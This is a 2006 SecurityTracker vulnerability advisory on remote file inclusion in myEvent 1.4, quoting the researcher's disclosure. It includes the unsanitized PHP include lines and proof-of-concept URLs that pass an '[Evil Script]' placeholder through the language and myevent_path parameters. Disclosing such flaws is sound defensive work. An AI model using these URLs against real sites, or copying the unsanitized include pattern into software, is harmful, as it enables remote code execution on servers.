myEvent Include File Flaw in 'myevent_path' and 'language' Parameters Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016693 |
|
SecurityTracker URL: http://securitytracker.com/id/1016693
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Aug 14 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.4
|
Description:
A vulnerability was reported in myEvent. A remote user can include and execute arbitrary code on the target system.
Several scripts do not properly validate user-supplied input in the 'myevent_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
The 'event.php', 'myevent.php', and 'viewevent.php' scripts are affected.
The 'language' parameter in 'admin.php' is also affected.
Some demonstration exploit URLs are provided:
http://[target]/[myEvent]/admin.php?language=[Evil Script]
http://[target]/[myEvent]/event.php?myevent_path=[Evil Script]
http://[target]/[myEvent]/myevent.php?myevent_path=[Evil Script]
http://[target]/[myEvent]/viewevent.php?myevent_path=[Evil Script]
Sh3ll reported this vulnerability.
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.mywebland.com/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 12 Aug 2006 10:03:15 +0000
Subject: myEvent <= 1.4 Multiple Remote File Include Vulnerabilities
|
---------------------------------------------------------------------------------------
myEvent 1.4 Multiple Remote File Include Vulnerabilities
---------------------------------------------------------------------------------------
Author : Sh3ll
Date : 2006/08/11
HomePage : http://www.sh3ll.ir
Contact : sh3ll[at]sh3ll[dot]ir
---------------------------------------------------------------------------------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : myEvent
version : 1.4
Venedor : http://www.mywebland.com
Class : Remote File Inclusion
Risk : High
Summary :
myEvent Is a Dynamic Calendar Based Events Management System.
---------------------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
in admin.php , event.php , initialize.php , myevent.php , viewevent.php We Found
Vulnerability Script
----------------------------------------admin.php--------------------------------------
....
<?php
include_once($language);
?>
...
----------------------------------------event.php--------------------------------------
....
<?php
include_once $myevent_path."includes/template.php";
?>
...
--------------------------------------initialize.php-----------------------------------
....
<?php
include $myevent_path."config.php";
include $myevent_path.$language;
include_once $myevent_path."includes/template.php"
?>
...
----------------------------------------myevent.php------------------------------------
....
<?php
include_once $myevent_path."initialize.php";
?>
...
---------------------------------------viewevent.php-----------------------------------
....
<?php
include_once $myevent_path."initialize.php";
?>
...
---------------------------------------------------------------------------------------
PoC:
~~~
http://www.target.com/[myEvent]/admin.php?language=[Evil Script]
http://www.target.com/[myEvent]/event.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/initialize.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/myevent.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/viewevent.php?myevent_path=[Evil Script]
Solution:
~~~~~~~~
Sanitize Variabel $language in admin.php & Sanitize Variabel $myevent_path in admin.php
event.php , initialize.php , myevent.php , viewevent.php
----------------------------------------------------------------------------------------
Note:
~~~~
Venedor Contacted, But No Response. So Do a Dirty Patch.
----------------------------------------------------------------------------------------
Shoutz:
~~~~~~
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams
|
|
